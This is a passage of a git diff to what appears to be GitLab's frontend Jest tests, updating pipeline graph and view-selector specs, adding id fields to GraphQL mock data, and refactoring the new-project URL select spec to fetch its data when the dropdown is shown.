@@ -345,7 +344,7 @@ describe('Pipeline graph wrapper', () => {
});
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('shows the hover tip in the view selector', async () => {
@@ -366,7 +365,7 @@ describe('Pipeline graph wrapper', () => {
});
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('does not show the hover tip', async () => {
@@ -384,7 +383,7 @@ describe('Pipeline graph wrapper', () => {
});
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
afterEach(() => {
@@ -393,9 +392,10 @@ describe('Pipeline graph wrapper', () => {
it('reads the view type from localStorage when available', () => {
const viewSelectorNeedsSegment = wrapper
- .findAll('[data-testid="pipeline-view-selector"] > label')
+ .find(GlButtonGroup)
+ .findAllComponents(GlButton)
.at(1);
- expect(viewSelectorNeedsSegment.classes()).toContain('active');
+ expect(viewSelectorNeedsSegment.classes()).toContain('selected');
});
});
@@ -412,7 +412,7 @@ describe('Pipeline graph wrapper', () => {
});
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
afterEach(() => {
@@ -435,7 +435,7 @@ describe('Pipeline graph wrapper', () => {
});
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('does not appear when pipeline does not use needs', () => {
@@ -462,7 +462,7 @@ describe('Pipeline graph wrapper', () => {
beforeEach(async () => {
createComponentWithApollo();
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('is not called', () => {
@@ -506,7 +506,7 @@ describe('Pipeline graph wrapper', () => {
});
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('attempts to collect metrics', () => {
diff --git a/spec/frontend/pipelines/graph/graph_view_selector_spec.js b/spec/frontend/pipelines/graph/graph_view_selector_spec.js
index f4faa25545b..f574f4dccc5 100644
--- a/spec/frontend/pipelines/graph/graph_view_selector_spec.js
+++ b/spec/frontend/pipelines/graph/graph_view_selector_spec.js
@@ -1,4 +1,4 @@
-import { GlAlert, GlLoadingIcon, GlSegmentedControl } from '@gitlab/ui';
+import { GlAlert, GlButton, GlButtonGroup, GlLoadingIcon } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
import { LAYER_VIEW, STAGE_VIEW } from '~/pipelines/components/graph/constants';
import GraphViewSelector from '~/pipelines/components/graph/graph_view_selector.vue';
@@ -7,9 +7,9 @@ describe('the graph view selector component', () => {
let wrapper;
const findDependenciesToggle = () => wrapper.find('[data-testid="show-links-toggle"]');
- const findViewTypeSelector = () => wrapper.findComponent(GlSegmentedControl);
- const findStageViewLabel = () => findViewTypeSelector().findAll('label').at(0);
- const findLayersViewLabel = () => findViewTypeSelector().findAll('label').at(1);
+ const findViewTypeSelector = () => wrapper.findComponent(GlButtonGroup);
+ const findStageViewButton = () => findViewTypeSelector().findAllComponents(GlButton).at(0);
+ const findLayerViewButton = () => findViewTypeSelector().findAllComponents(GlButton).at(1);
const findSwitcherLoader = () => wrapper.find('[data-testid="switcher-loading-state"]');
const findToggleLoader = () => findDependenciesToggle().find(GlLoadingIcon);
const findHoverTip = () => wrapper.findComponent(GlAlert);
@@ -51,8 +51,13 @@ describe('the graph view selector component', () => {
createComponent({ mountFn: mount });
});
- it('shows the Stage view label as active in the selector', () => {
- expect(findStageViewLabel().classes()).toContain('active');
+ it('shows the Stage view button as selected', () => {
+ expect(findStageViewButton().classes('selected')).toBe(true);
+ });
+
+ it('shows the Job dependencies view button not selected', () => {
+ expect(findLayerViewButton().exists()).toBe(true);
+ expect(findLayerViewButton().classes('selected')).toBe(false);
});
it('does not show the Job dependencies (links) toggle', () => {
@@ -70,8 +75,13 @@ describe('the graph view selector component', () => {
});
});
- it('shows the Job dependencies view label as active in the selector', () => {
- expect(findLayersViewLabel().classes()).toContain('active');
+ it('shows the Job dependencies view as selected', () => {
+ expect(findLayerViewButton().classes('selected')).toBe(true);
+ });
+
+ it('shows the Stage button as not selected', () => {
+ expect(findStageViewButton().exists()).toBe(true);
+ expect(findStageViewButton().classes('selected')).toBe(false);
});
it('shows the Job dependencies (links) toggle', () => {
@@ -94,7 +104,7 @@ describe('the graph view selector component', () => {
expect(wrapper.emitted().updateViewType).toBeUndefined();
expect(findSwitcherLoader().exists()).toBe(false);
- await findStageViewLabel().trigger('click');
+ await findStageViewButton().trigger('click');
/*
Loading happens before the event is emitted or timers are run.
Then we run the timer because the event is emitted in setInterval
@@ -123,6 +133,14 @@ describe('the graph view selector component', () => {
expect(wrapper.emitted().updateShowLinksState).toHaveLength(1);
expect(wrapper.emitted().updateShowLinksState).toEqual([[true]]);
});
+
+ it('does not emit an event if the click occurs on the currently selected view button', async () => {
+ expect(wrapper.emitted().updateShowLinksState).toBeUndefined();
+
+ await findLayerViewButton().trigger('click');
+
+ expect(wrapper.emitted().updateShowLinksState).toBeUndefined();
+ });
});
describe('hover tip callout', () => {
diff --git a/spec/frontend/pipelines/graph/mock_data.js b/spec/frontend/pipelines/graph/mock_data.js
index 3812483766d..dcbbde7bf36 100644
--- a/spec/frontend/pipelines/graph/mock_data.js
+++ b/spec/frontend/pipelines/graph/mock_data.js
@@ -4,6 +4,7 @@ export const mockPipelineResponse = {
data: {
project: {
__typename: 'Project',
+ id: '1',
pipeline: {
__typename: 'Pipeline',
id: 163,
@@ -21,9 +22,11 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiStage',
+ id: '2',
name: 'build',
status: {
__typename: 'DetailedStatus',
+ id: '3',
action: null,
},
groups: {
@@ -31,10 +34,12 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiGroup',
+ id: '4',
name: 'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
size: 1,
status: {
__typename: 'DetailedStatus',
+ id: '5',
label: 'passed',
group: 'success',
icon: 'status_success',
@@ -44,10 +49,12 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiJob',
+ id: '6',
name: 'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '7',
icon: 'status_success',
tooltip: 'passed',
hasDetails: true,
@@ -55,6 +62,7 @@ export const mockPipelineResponse = {
group: 'success',
action: {
__typename: 'StatusAction',
+ id: '8',
buttonTitle: 'Retry this job',
icon: 'retry',
path: '/root/abcd-dag/-/jobs/1482/retry',
@@ -72,9 +80,11 @@ export const mockPipelineResponse = {
{
__typename: 'CiGroup',
name: 'build_b',
+ id: '9',
size: 1,
status: {
__typename: 'DetailedStatus',
+ id: '10',
label: 'passed',
group: 'success',
icon: 'status_success',
@@ -84,10 +94,12 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiJob',
+ id: '11',
name: 'build_b',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '12',
icon: 'status_success',
tooltip: 'passed',
hasDetails: true,
@@ -95,6 +107,7 @@ export const mockPipelineResponse = {
group: 'success',
action: {
__typename: 'StatusAction',
+ id: '13',
buttonTitle: 'Retry this job',
icon: 'retry',
path: '/root/abcd-dag/-/jobs/1515/retry',
@@ -111,10 +124,12 @@ export const mockPipelineResponse = {
},
{
__typename: 'CiGroup',
+ id: '14',
name: 'build_c',
size: 1,
status: {
__typename: 'DetailedStatus',
+ id: '15',
label: 'passed',
group: 'success',
icon: 'status_success',
@@ -124,10 +139,12 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiJob',
+ id: '16',
name: 'build_c',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '17',
icon: 'status_success',
tooltip: 'passed',
hasDetails: true,
@@ -135,6 +152,7 @@ export const mockPipelineResponse = {
group: 'success',
action: {
__typename: 'StatusAction',
+ id: '18',
buttonTitle: 'Retry this job',
icon: 'retry',
path: '/root/abcd-dag/-/jobs/1484/retry',
@@ -151,10 +169,12 @@ export const mockPipelineResponse = {
},
{
__typename: 'CiGroup',
+ id: '19',
name: 'build_d',
size: 3,
status: {
__typename: 'DetailedStatus',
+ id: '20',
label: 'passed',
group: 'success',
icon: 'status_success',
@@ -164,10 +184,12 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiJob',
+ id: '21',
name: 'build_d 1/3',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '22',
icon: 'status_success',
tooltip: 'passed',
hasDetails: true,
@@ -175,6 +197,7 @@ export const mockPipelineResponse = {
group: 'success',
action: {
__typename: 'StatusAction',
+ id: '23',
buttonTitle: 'Retry this job',
icon: 'retry',
path: '/root/abcd-dag/-/jobs/1485/retry',
@@ -188,10 +211,12 @@ export const mockPipelineResponse = {
},
{
__typename: 'CiJob',
+ id: '24',
name: 'build_d 2/3',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '25',
icon: 'status_success',
tooltip: 'passed',
hasDetails: true,
@@ -199,6 +224,7 @@ export const mockPipelineResponse = {
group: 'success',
action: {
__typename: 'StatusAction',
+ id: '26',
buttonTitle: 'Retry this job',
icon: 'retry',
path: '/root/abcd-dag/-/jobs/1486/retry',
@@ -212,10 +238,12 @@ export const mockPipelineResponse = {
},
{
__typename: 'CiJob',
+ id: '27',
name: 'build_d 3/3',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '28',
icon: 'status_success',
tooltip: 'passed',
hasDetails: true,
@@ -223,6 +251,7 @@ export const mockPipelineResponse = {
group: 'success',
action: {
__typename: 'StatusAction',
+ id: '29',
buttonTitle: 'Retry this job',
icon: 'retry',
path: '/root/abcd-dag/-/jobs/1487/retry',
@@ -242,9 +271,11 @@ export const mockPipelineResponse = {
},
{
__typename: 'CiStage',
+ id: '30',
name: 'test',
status: {
__typename: 'DetailedStatus',
+ id: '31',
action: null,
},
groups: {
@@ -252,10 +283,12 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiGroup',
+ id: '32',
name: 'test_a',
size: 1,
status: {
__typename: 'DetailedStatus',
+ id: '33',
label: 'passed',
group: 'success',
icon: 'status_success',
@@ -265,10 +298,12 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiJob',
+ id: '34',
name: 'test_a',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '35',
icon: 'status_success',
tooltip: 'passed',
hasDetails: true,
@@ -276,6 +311,7 @@ export const mockPipelineResponse = {
group: 'success',
action: {
__typename: 'StatusAction',
+ id: '36',
buttonTitle: 'Retry this job',
icon: 'retry',
path: '/root/abcd-dag/-/jobs/1514/retry',
@@ -287,14 +323,17 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiBuildNeed',
+ id: '37',
name: 'build_c',
},
{
__typename: 'CiBuildNeed',
+ id: '38',
name: 'build_b',
},
{
__typename: 'CiBuildNeed',
+ id: '39',
name:
'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
},
@@ -306,10 +345,12 @@ export const mockPipelineResponse = {
},
{
__typename: 'CiGroup',
+ id: '40',
name: 'test_b',
size: 2,
status: {
__typename: 'DetailedStatus',
+ id: '41',
label: 'passed',
group: 'success',
icon: 'status_success',
@@ -319,10 +360,12 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiJob',
+ id: '42',
name: 'test_b 1/2',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '43',
icon: 'status_success',
tooltip: 'passed',
hasDetails: true,
@@ -330,6 +373,7 @@ export const mockPipelineResponse = {
group: 'success',
action: {
__typename: 'StatusAction',
+ id: '44',
buttonTitle: 'Retry this job',
icon: 'retry',
path: '/root/abcd-dag/-/jobs/1489/retry',
@@ -341,22 +385,27 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiBuildNeed',
+ id: '45',
name: 'build_d 3/3',
},
{
__typename: 'CiBuildNeed',
+ id: '46',
name: 'build_d 2/3',
},
{
__typename: 'CiBuildNeed',
+ id: '47',
name: 'build_d 1/3',
},
{
__typename: 'CiBuildNeed',
+ id: '48',
name: 'build_b',
},
{
__typename: 'CiBuildNeed',
+ id: '49',
name:
'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
},
@@ -365,10 +414,12 @@ export const mockPipelineResponse = {
},
{
__typename: 'CiJob',
+ id: '67',
name: 'test_b 2/2',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '50',
icon: 'status_success',
tooltip: 'passed',
hasDetails: true,
@@ -376,6 +427,7 @@ export const mockPipelineResponse = {
group: 'success',
action: {
__typename: 'StatusAction',
+ id: '51',
buttonTitle: 'Retry this job',
icon: 'retry',
path: '/root/abcd-dag/-/jobs/1490/retry',
@@ -387,22 +439,27 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiBuildNeed',
+ id: '52',
name: 'build_d 3/3',
},
{
__typename: 'CiBuildNeed',
+ id: '53',
name: 'build_d 2/3',
},
{
__typename: 'CiBuildNeed',
+ id: '54',
name: 'build_d 1/3',
},
{
__typename: 'CiBuildNeed',
+ id: '55',
name: 'build_b',
},
{
__typename: 'CiBuildNeed',
+ id: '56',
name:
'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
},
@@ -415,9 +472,11 @@ export const mockPipelineResponse = {
{
__typename: 'CiGroup',
name: 'test_c',
+ id: '57',
size: 1,
status: {
__typename: 'DetailedStatus',
+ id: '58',
label: null,
group: 'success',
icon: 'status_success',
@@ -427,10 +486,12 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiJob',
+ id: '59',
name: 'test_c',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '60',
icon: 'status_success',
tooltip: null,
hasDetails: true,
@@ -448,9 +509,11 @@ export const mockPipelineResponse = {
},
{
__typename: 'CiGroup',
+ id: '61',
name: 'test_d',
size: 1,
status: {
+ id: '62',
__typename: 'DetailedStatus',
label: null,
group: 'success',
@@ -461,10 +524,12 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiJob',
+ id: '53',
name: 'test_d',
scheduledAt: null,
status: {
__typename: 'DetailedStatus',
+ id: '64',
icon: 'status_success',
tooltip: null,
hasDetails: true,
@@ -477,6 +542,7 @@ export const mockPipelineResponse = {
nodes: [
{
__typename: 'CiBuildNeed',
+ id: '65',
name: 'build_b',
},
],
@@ -502,6 +568,7 @@ export const downstream = {
iid: '31',
path: '/root/elemenohpee/-/pipelines/175',
status: {
+ id: '70',
group: 'success',
label: 'passed',
icon: 'status_success',
@@ -509,6 +576,7 @@ export const downstream = {
},
sourceJob: {
name: 'test_c',
+ id: '71',
__typename: 'CiJob',
},
project: {
@@ -525,12 +593,14 @@ export const downstream = {
iid: '27',
path: '/root/abcd-dag/-/pipelines/181',
status: {
+ id: '72',
group: 'success',
label: 'passed',
icon: 'status_success',
__typename: 'DetailedStatus',
},
sourceJob: {
+ id: '73',
name: 'test_d',
__typename: 'CiJob',
},
@@ -551,6 +621,7 @@ export const upstream = {
iid: '24',
path: '/root/abcd-dag/-/pipelines/161',
status: {
+ id: '74',
group: 'success',
label: 'passed',
icon: 'status_success',
@@ -571,6 +642,7 @@ export const wrappedPipelineReturn = {
data: {
project: {
__typename: 'Project',
+ id: '75',
pipeline: {
__typename: 'Pipeline',
id: 'gid://gitlab/Ci::Pipeline/175',
@@ -592,12 +664,14 @@ export const wrappedPipelineReturn = {
__typename: 'Pipeline',
status: {
__typename: 'DetailedStatus',
+ id: '77',
group: 'success',
label: 'passed',
icon: 'status_success',
},
sourceJob: {
name: 'test_c',
+ id: '78',
__typename: 'CiJob',
},
project: {
@@ -613,8 +687,10 @@ export const wrappedPipelineReturn = {
{
name: 'build',
__typename: 'CiStage',
+ id: '79',
status: {
action: null,
+ id: '80',
__typename: 'DetailedStatus',
},
groups: {
@@ -622,8 +698,10 @@ export const wrappedPipelineReturn = {
nodes: [
{
__typename: 'CiGroup',
+ id: '81',
status: {
__typename: 'DetailedStatus',
+ id: '82',
label: 'passed',
group: 'success',
icon: 'status_success',
@@ -635,6 +713,7 @@ export const wrappedPipelineReturn = {
nodes: [
{
__typename: 'CiJob',
+ id: '83',
name: 'build_n',
scheduledAt: null,
needs: {
@@ -643,6 +722,7 @@ export const wrappedPipelineReturn = {
},
status: {
__typename: 'DetailedStatus',
+ id: '84',
icon: 'status_success',
tooltip: 'passed',
hasDetails: true,
@@ -650,6 +730,7 @@ export const wrappedPipelineReturn = {
group: 'success',
action: {
__typename: 'StatusAction',
+ id: '85',
buttonTitle: 'Retry this job',
icon: 'retry',
path: '/root/elemenohpee/-/jobs/1662/retry',
diff --git a/spec/frontend/pipelines/mock_data.js b/spec/frontend/pipelines/mock_data.js
index fdc78d48901..b9d20eb7ca5 100644
--- a/spec/frontend/pipelines/mock_data.js
+++ b/spec/frontend/pipelines/mock_data.js
@@ -14,6 +14,7 @@ export const mockPipelineHeader = {
},
createdAt: threeWeeksAgo.toISOString(),
user: {
+ id: 'user-1',
name: 'Foo',
username: 'foobar',
email: 'foo@bar.com',
@@ -27,6 +28,7 @@ export const mockFailedPipelineHeader = {
retryable: true,
cancelable: false,
detailedStatus: {
+ id: 'status-1',
group: 'failed',
icon: 'status_failed',
label: 'failed',
@@ -43,6 +45,7 @@ export const mockFailedPipelineNoPermissions = {
},
createdAt: threeWeeksAgo.toISOString(),
user: {
+ id: 'user-1',
name: 'Foo',
username: 'foobar',
email: 'foo@bar.com',
@@ -52,6 +55,7 @@ export const mockFailedPipelineNoPermissions = {
retryable: true,
cancelable: false,
detailedStatus: {
+ id: 'status-1',
group: 'running',
icon: 'status_running',
label: 'running',
@@ -66,6 +70,7 @@ export const mockRunningPipelineHeader = {
retryable: false,
cancelable: true,
detailedStatus: {
+ id: 'status-1',
group: 'running',
icon: 'status_running',
label: 'running',
@@ -82,6 +87,7 @@ export const mockRunningPipelineNoPermissions = {
},
createdAt: threeWeeksAgo.toISOString(),
user: {
+ id: 'user-1',
name: 'Foo',
username: 'foobar',
email: 'foo@bar.com',
@@ -91,6 +97,7 @@ export const mockRunningPipelineNoPermissions = {
retryable: false,
cancelable: true,
detailedStatus: {
+ id: 'status-1',
group: 'running',
icon: 'status_running',
label: 'running',
@@ -105,6 +112,7 @@ export const mockCancelledPipelineHeader = {
retryable: true,
cancelable: false,
detailedStatus: {
+ id: 'status-1',
group: 'cancelled',
icon: 'status_cancelled',
label: 'cancelled',
@@ -119,6 +127,7 @@ export const mockSuccessfulPipelineHeader = {
retryable: false,
cancelable: false,
detailedStatus: {
+ id: 'status-1',
group: 'success',
icon: 'status_success',
label: 'success',
@@ -130,13 +139,16 @@ export const mockSuccessfulPipelineHeader = {
export const mockRunningPipelineHeaderData = {
data: {
project: {
+ id: '1',
pipeline: {
...mockRunningPipelineHeader,
iid: '28',
user: {
+ id: 'user-1',
name: 'Foo',
username: 'foobar',
webPath: '/foo',
+ webUrl: '/foo',
email: 'foo@bar.com',
avatarUrl: 'link',
status: null,
@@ -493,3 +505,132 @@ export const mockSearch = [
export const mockBranchesAfterMap = ['branch-1', 'branch-10', 'branch-11'];
export const mockTagsAfterMap = ['tag-3', 'tag-2', 'tag-1', 'main-tag'];
+
+export const mockPipelineJobsQueryResponse = {
+ data: {
+ project: {
+ id: 'gid://gitlab/Project/20',
+ __typename: 'Project',
+ pipeline: {
+ id: 'gid://gitlab/Ci::Pipeline/224',
+ __typename: 'Pipeline',
+ jobs: {
+ __typename: 'CiJobConnection',
+ pageInfo: {
+ endCursor: 'eyJpZCI6Ijg0NyJ9',
+ hasNextPage: true,
+ hasPreviousPage: false,
+ startCursor: 'eyJpZCI6IjYyMCJ9',
+ __typename: 'PageInfo',
+ },
+ nodes: [
+ {
+ artifacts: {
+ nodes: [
+ {
+ downloadPath: '/root/ci-project/-/jobs/620/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ allowFailure: false,
+ status: 'SUCCESS',
+ scheduledAt: null,
+ manualJob: false,
+ triggered: null,
+ createdByTag: false,
+ detailedStatus: {
+ id: 'success-620-620',
+ detailsPath: '/root/ci-project/-/jobs/620',
+ group: 'success',
+ icon: 'status_success',
+ label: 'passed',
+ text: 'passed',
+ tooltip: 'passed (retried)',
+ action: null,
+ __typename: 'DetailedStatus',
+ },
+ id: 'gid://gitlab/Ci::Build/620',
+ refName: 'main',
+ refPath: '/root/ci-project/-/commits/main',
+ tags: [],
+ shortSha: '5acce24b',
+ commitPath: '/root/ci-project/-/commit/5acce24b3737d4f0d649ad0a26ae1903a2b35f5e',
+ stage: { id: 'gid://gitlab/Ci::Stage/148', name: 'test', __typename: 'CiStage' },
+ name: 'coverage_job',
+ duration: 4,
+ finishedAt: '2021-12-06T14:13:49Z',
+ coverage: 82.71,
+ retryable: false,
+ playable: false,
+ cancelable: false,
+ active: false,
+ stuck: false,
+ userPermissions: {
+ readBuild: true,
+ readJobArtifacts: true,
+ updateBuild: true,
+ __typename: 'JobPermissions',
+ },
+ __typename: 'CiJob',
+ },
+ {
+ artifacts: {
+ nodes: [
+ {
+ downloadPath: '/root/ci-project/-/jobs/619/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ allowFailure: false,
+ status: 'SUCCESS',
+ scheduledAt: null,
+ manualJob: false,
+ triggered: null,
+ createdByTag: false,
+ detailedStatus: {
+ id: 'success-619-619',
+ detailsPath: '/root/ci-project/-/jobs/619',
+ group: 'success',
+ icon: 'status_success',
+ label: 'passed',
+ text: 'passed',
+ tooltip: 'passed (retried)',
+ action: null,
+ __typename: 'DetailedStatus',
+ },
+ id: 'gid://gitlab/Ci::Build/619',
+ refName: 'main',
+ refPath: '/root/ci-project/-/commits/main',
+ tags: [],
+ shortSha: '5acce24b',
+ commitPath: '/root/ci-project/-/commit/5acce24b3737d4f0d649ad0a26ae1903a2b35f5e',
+ stage: { id: 'gid://gitlab/Ci::Stage/148', name: 'test', __typename: 'CiStage' },
+ name: 'test_job_two',
+ duration: 4,
+ finishedAt: '2021-12-06T14:13:44Z',
+ coverage: null,
+ retryable: false,
+ playable: false,
+ cancelable: false,
+ active: false,
+ stuck: false,
+ userPermissions: {
+ readBuild: true,
+ readJobArtifacts: true,
+ updateBuild: true,
+ __typename: 'JobPermissions',
+ },
+ __typename: 'CiJob',
+ },
+ ],
+ },
+ },
+ },
+ },
+};
diff --git a/spec/frontend/projects/new/components/new_project_url_select_spec.js b/spec/frontend/projects/new/components/new_project_url_select_spec.js
index b3f177a1f12..258fa7636d4 100644
--- a/spec/frontend/projects/new/components/new_project_url_select_spec.js
+++ b/spec/frontend/projects/new/components/new_project_url_select_spec.js
@@ -5,7 +5,8 @@ import {
GlDropdownSectionHeader,
GlSearchBoxByType,
} from '@gitlab/ui';
-import { createLocalVue, mount, shallowMount } from '@vue/test-utils';
+import { mount, shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
@@ -19,6 +20,7 @@ describe('NewProjectUrlSelect component', () => {
const data = {
currentUser: {
+ id: 'user-1',
groups: {
nodes: [
{
@@ -51,8 +53,7 @@ describe('NewProjectUrlSelect component', () => {
},
};
- const localVue = createLocalVue();
- localVue.use(VueApollo);
+ Vue.use(VueApollo);
const defaultProvide = {
namespaceFullPath: 'h5bp',
@@ -63,17 +64,19 @@ describe('NewProjectUrlSelect component', () => {
userNamespaceId: '1',
};
+ let mockQueryResponse;
+
const mountComponent = ({
search = '',
queryResponse = data,
provide = defaultProvide,
mountFn = shallowMount,
} = {}) => {
- const requestHandlers = [[searchQuery, jest.fn().mockResolvedValue({ data: queryResponse })]];
+ mockQueryResponse = jest.fn().mockResolvedValue({ data: queryResponse });
+ const requestHandlers = [[searchQuery, mockQueryResponse]];
const apolloProvider = createMockApollo(requestHandlers);
return mountFn(NewProjectUrlSelect, {
- localVue,
apolloProvider,
provide,
data() {
@@ -87,12 +90,19 @@ describe('NewProjectUrlSelect component', () => {
const findButtonLabel = () => wrapper.findComponent(GlButton);
const findDropdown = () => wrapper.findComponent(GlDropdown);
const findInput = () => wrapper.findComponent(GlSearchBoxByType);
- const findHiddenInput = () => wrapper.find('input');
+ const findHiddenInput = () => wrapper.find('[name="project[namespace_id]"]');
+
const clickDropdownItem = async () => {
wrapper.findComponent(GlDropdownItem).vm.$emit('click');
await wrapper.vm.$nextTick();
};
+ const showDropdown = async () => {
+ findDropdown().vm.$emit('shown');
+ await wrapper.vm.$apollo.queries.currentUser.refetch();
+ jest.runOnlyPendingTimers();
+ };
+
afterEach(() => {
wrapper.destroy();
});
@@ -140,20 +150,18 @@ describe('NewProjectUrlSelect component', () => {
it('focuses on the input when the dropdown is opened', async () => {
wrapper = mountComponent({ mountFn: mount });
- jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
const spy = jest.spyOn(findInput().vm, 'focusInput');
- findDropdown().vm.$emit('shown');
+ await showDropdown();
expect(spy).toHaveBeenCalledTimes(1);
});
it('renders expected dropdown items', async () => {
wrapper = mountComponent({ mountFn: mount });
- jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+
+ await showDropdown();
const listItems = wrapper.findAll('li');
@@ -166,15 +174,36 @@ describe('NewProjectUrlSelect component', () => {
expect(listItems.at(5).text()).toBe(data.currentUser.namespace.fullPath);
});
+ describe('query fetching', () => {
+ describe('on component mount', () => {
+ it('does not fetch query', () => {
+ wrapper = mountComponent({ mountFn: mount });
+
+ expect(mockQueryResponse).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('on dropdown shown', () => {
+ it('fetches query', async () => {
+ wrapper = mountComponent({ mountFn: mount });
+
+ await showDropdown();
+
+ expect(mockQueryResponse).toHaveBeenCalled();
+ });
+ });
+ });
+
describe('when selecting from a group template', () => {
- const groupId = getIdFromGraphQLId(data.currentUser.groups.nodes[1].id);
+ const { fullPath, id } = data.currentUser.groups.nodes[1];
beforeEach(async () => {
wrapper = mountComponent({ mountFn: mount });
- jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
- eventHub.$emit('select-template', groupId);
+ // Show dropdown to fetch projects
+ await showDropdown();
+
+ eventHub.$emit('select-template', getIdFromGraphQLId(id), fullPath);
});
it('filters the dropdown items to the selected group and children', async () => {
@@ -187,13 +216,14 @@ describe('NewProjectUrlSelect component', () => {
});
it('sets the selection to the group', async () => {
- expect(findDropdown().props('text')).toBe(data.currentUser.groups.nodes[1].fullPath);
+ expect(findDropdown().props('text')).toBe(fullPath);
});
});
it('renders `No matches found` when there are no matching dropdown items', async () => {
const queryResponse = {
currentUser: {
+ id: 'user-1',
groups: {
nodes: [],
},
@@ -212,12 +242,13 @@ describe('NewProjectUrlSelect component', () => {
});
it('emits `update-visibility` event to update the visibility radio options', async () => {
- wrapper = mountComponent();
- jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ wrapper = mountComponent({ mountFn: mount });
const spy = jest.spyOn(eventHub, '$emit');
+ // Show dropdown to fetch projects
+ await showDropdown();
+
await clickDropdownItem();
const namespace = data.currentUser.groups.nodes[0];
@@ -231,16 +262,16 @@ describe('NewProjectUrlSelect component', () => {
});
it('updates hidden input with selected namespace', async () => {
- wrapper = mountComponent();
- jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ wrapper = mountComponent({ mountFn: mount });
+
+ // Show dropdown to fetch projects
+ await showDropdown();
await clickDropdownItem();
- expect(findHiddenInput().attributes()).toMatchObject({
- name: 'project[namespace_id]',
- value: getIdFromGraphQLId(data.currentUser.groups.nodes[0].id).toString(),
- });
+ expect(findHiddenInput().attributes('value')).toBe(
+ getIdFromGraphQLId(data.currentUser.groups.nodes[0].id).toString(),
+ );
});
it('tracks clicking on the dropdown', () => {
diff --git a/spec/frontend/projects/pipelines/charts/components/__snapshots__/statistics_list_spec.js.snap b/spec/frontend/projects/pipelines/charts/components/__snapshots__/statistics_list_spec.js.snap
index be3716c24e6..5ec0ad794fb 100644
--- a/spec/frontend/projects/pipelines/charts/components/__snapshots__/statistics_list_spec.js.snap
+++ b/spec/frontend/projects/pipelines/charts/components/__snapshots__/statistics_list_spec.js.snap
@@ -25,9 +25,13 @@ exports[`StatisticsList displays the counts data with labels 1`] = `
Failed:
</span>
- <strong>
- 2 pipelines
- </strong>
+ <gl-link-stub
+ href="/flightjs/Flight/-/pipelines?page=1&scope=all&status=failed"
+ >
+
+ 2 pipelines
+
+ </gl-link-stub>
</li>
<li>
<span>
diff --git a/spec/frontend/projects/pipelines/charts/components/app_spec.js b/spec/frontend/projects/pipelines/charts/components/app_spec.js
index b4067f6a72b..574756322c7 100644
--- a/spec/frontend/projects/pipelines/charts/components/app_spec.js
+++ b/spec/frontend/projects/pipelines/charts/components/app_spec.js
@@ -1,11 +1,12 @@
import { GlTabs, GlTab } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
import { merge } from 'lodash';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import setWindowLocation from 'helpers/set_window_location_helper';
import { TEST_HOST } from 'helpers/test_constants';
import { mergeUrlParams, updateHistory, getParameterValues } from '~/lib/utils/url_utility';
import Component from '~/projects/pipelines/charts/components/app.vue';
import PipelineCharts from '~/projects/pipelines/charts/components/pipeline_charts.vue';
+import API from '~/api';
jest.mock('~/lib/utils/url_utility');
